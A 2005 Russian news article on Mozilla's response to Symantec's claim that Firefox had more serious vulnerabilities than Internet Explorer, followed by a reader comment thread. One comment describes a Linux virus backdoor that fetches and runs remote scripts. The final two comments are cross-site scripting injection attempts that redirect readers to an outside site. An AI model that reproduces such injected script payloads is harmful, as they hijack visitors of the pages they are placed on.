Все новости от 20 сентября 2005 г.

Ответ Mozilla на отчет о безопасности браузера

Mozilla отреагировала на опубликованный в понедельник отчет Symantec за первые шесть месяцев 2005 года, в котором утверждается, будто серьезные уязвимости в браузерах Mozilla обнаруживаются чаще, чем в Microsoft Internet Explorer. Президент Mozilla Europe Тристан Нито ответил на это, что когда обнаруживается уязвимость, Mozilla «лучше, чем Microsoft, способна отреагировать, найти решение и предоставить его пользователям».

«Что касается нашей способности реагировать, то мы находимся в гораздо лучшей форме. Например, 6 сентября Mozilla сообщили о проблеме буфера IDN. 8 сентября эта информация была обнародована. Обычно мы просим своих разработчиков не упоминать ни о каких проблемах, пока мы их не исправим, но в данном случае ее по какой-то причине разгласили. 9 сентября мы внесли в конфигурацию изменение, устраняющее проблему IDN, которое пользователи могут произвести вручную, а также предоставили заплатку. Через десять дней у нас уже была новая версия, в которой эта проблема решена окончательно.

А Microsoft? В этом месяце они решили пропустить секьюрити-патч, так что вообще никакие уязвимости устранены не будут. У нас такое просто невозможно».

Нито утверждает также, что по данным секьюрити-фирмы Secunia, уязвимости Microsoft были более опасными и оставались таковыми в течение более продолжительного времени. За период с 2003 по 2005 год Secunia выпустила 22 предупреждения об уязвимостях Firefox 1.x и оценивает его уровень опасности «ниже критического». За тот же период Microsoft Internet Explorer 6.x было посвящено 85 предупреждений Secunia, а оценка уровня его опасности — «высококритический».

«В целом их уязвимости опаснее. В Firefox — да, есть дыры, но они гораздо менее серьезны». Нито проиллюстрировал разницу между уязвимостями Firefox и IE на ранениях: «Что бы вы предпочли: сломанный палец или оторванную голову?»

Исследователь Symantec Олле Уайтхаус считает, что результаты действительно удивительные, но они вызваны рядом факторов, главный из которых — распространение Firefox за короткое время и то, что это программа open source.

«Прежде всего, произошло широкое распространение Firefox за короткий период времени. Больше специалистов по безопасности и людей с нечистыми намерениями получили возможность познакомиться с кодом. Во-вторых, так как Firefox — это программа с открытым исходным кодом, то больше людей имеет доступ к коду и может свободно выискивать баги. Код IE закрыт, поэтому его исследовать труднее». К тому же «злоумышленникам труднее создавать эксплойты для Firefox, потому что он работает на многих платформах».

На просьбу прокомментировать точку зрения Нито о быстром реагировании Уайтхаус ответил: «На сегодняшний день у Firefox известно гораздо меньше дыр [чем у IE], но за последние шесть месяцев он получил более широкое распространение. Интересно понять, был ли это короткий всплеск или же тенденция продолжится.

По мере того, как Firefox становится более популярным, он превращается в привлекательную мишень. Даже если это был всплеск, тем, кто сменил IE на Firefox, важно знать, остается ли справедливым утверждение о том, что Firefox безопаснее, чем IE. Не следует успокаиваться на том, что вы сменили браузер; возможно, стоит подумать, не имеет ли смысл поискать другую конфигурацию». 

 Предыдущие публикации:

 В продолжение темы:

Обсуждение и комментарии

	dum-dum 20 Sep 2005 9:30 PM
That's cool! «злоумышленникам труднее создавать эксплойты для Firefox, потому что он работает на многих платформах».
	Бабай 21 Sep 2005 2:11 AM
"Не следует успокаиваться на том, что вы сменили браузер; возможно, стоит подумать, не имеет ли смысл поискать другую конфигурацию"
	Tolik 21 Sep 2005 8:23 AM
Быстро поднятое - упавшим не считается ;-) Сейчас придут Linfan со Skull и объяснят, что в этом и есть основное достоинство OSS, а кому такое достоинство не надо - тот мастдай
	mAvik 21 Sep 2005 10:01 AM
Не знаю как там с количеством уязвимостей, но подхват вирусов IE я наблюдал неоднократно, с Firefox пока такого не наблюдал. А заплатки у Firefox действительно выходят чаше и оперативней. Может на этом основании и был сделан вывод о большом количестве ошибок?
	Skull - sibskullmail.ru 21 Sep 2005 10:31 AM
2 Tolik: Уважаемый, я уже Петру отвечал и вам повторю: разницы в качестве кода для закрытого, что для открытого ПО нет никакой. :) Так что зря вы от нас ждёте опровержений и рекламы. Чай, не фанатики мы виндузячии. :) P.S. Я вообще-то Konqueror использую, мне проблемы FireFox сугубо фиолетовы. :)
	Unknown 21 Sep 2005 4:58 PM
>За период с 2003 по 2005 год Secunia выпустила 22 >предупреждения об уязвимостях Firefox А почему взят такой странный период? Имхо проблемы у Firefox'a начались именно тогда, когда он стал более менее популярен "в народе" т.е. в конце 2004 и 2005.
	dima.exe 21 Sep 2005 8:52 PM
При споре FF vs IE, забывают такой факт: код IE практически не изменяется со времени победы над Netscape(1999), и появления новой функциональности тоже не видно. А FF наоборот очень быстро развивается и новые фичи появляются чут ли не каждый месяц.
	User 21 Sep 2005 8:52 PM
dum-dum: ты идиот? Эвтаназией лечиться не пробовал? Как ты сделаешь бинарный эксплойт для, например, переполнения буффера, если у всех юзеров софтины бинарники разной сборки, и платформы могут различаться?
	dum-dum 22 Sep 2005 5:36 AM
2 User: привет Wintermute :) Прочиcтил орало ?
	dum-dum 22 Sep 2005 5:39 AM
2 User: >если у всех юзеров софтины бинарники разной сборки, То значит что все они собрали его у сабя дома на домашнем коммпе и , конечно-же, каждый раз с разными параметрами. Почитай, на досуге, как работаю эксплоиты для IE а не гоняй попусту ветры.
	нц 22 Sep 2005 1:32 PM
http://www.uinc.ru/news/sn4457.html Ситуации, когда на публичных серверах выкладывались версии зараженных бинарных или исходных файлов возникали уже не раз. Теперь подобная участь постигла mozilla.org. Зараженными оказались дистрибутивы Mozilla и Thunderbird для Linux c корейской локализацией. Файлы mozilla-installer-bin из mozilla-1.7.6.ko-KR.linux-i686.installer.tar.gz и mozilla-xremote-client из thunderbird-1.0.2.tar.gz были инфицированы вирусом RST.b. Virus.Linux.RST.b ищет исполняемые ELF-файлы в текущем каталоге и каталоге /bin и заражает их. При заражении записывается в середину файла (в конец секции кода, сдвигая вниз все остальные секции файла). Также содержит бэкдор-процедуру, которая скачивает специальный скрипт-файл с сайта http://ns1.xoasis.com/~telcom69 и выполняет присутствующие в скрипте команды. Для выполнения этих команд используется стандартный shell. После троекратного уведомления mozilla.org файлы так и не были удалены.
	dum-dum 22 Sep 2005 8:15 PM
2нц: You just forget, that it's impossible to write /bin by user :))
	torvic 23 Sep 2005 1:14 AM
2 dum-dum Ну дык, потому и запихнули вирус в installer-bin
	dum-dum 23 Sep 2005 4:16 AM
2 torvic: логично :)
	DemonZLa 26 Sep 2005 6:00 PM
хм... ну вот новая эха вирусов под Linux... они стали такие какие были под ДОС... :))) А вота кантрольныя суммы сравнивать нада!!! Не зряж их пишуть! У некотрых дистров дык эта автоматом... ну типа там Gentoo...
	куе 10 Jun 2006 5:03 PM
"> <script>document.location='http://www.nokia6030.net.ru'</scr ipt>
	куе 10 Jun 2006 5:04 PM
<script>document.location='http://www.nokia6030.net.ru'</scr ipt>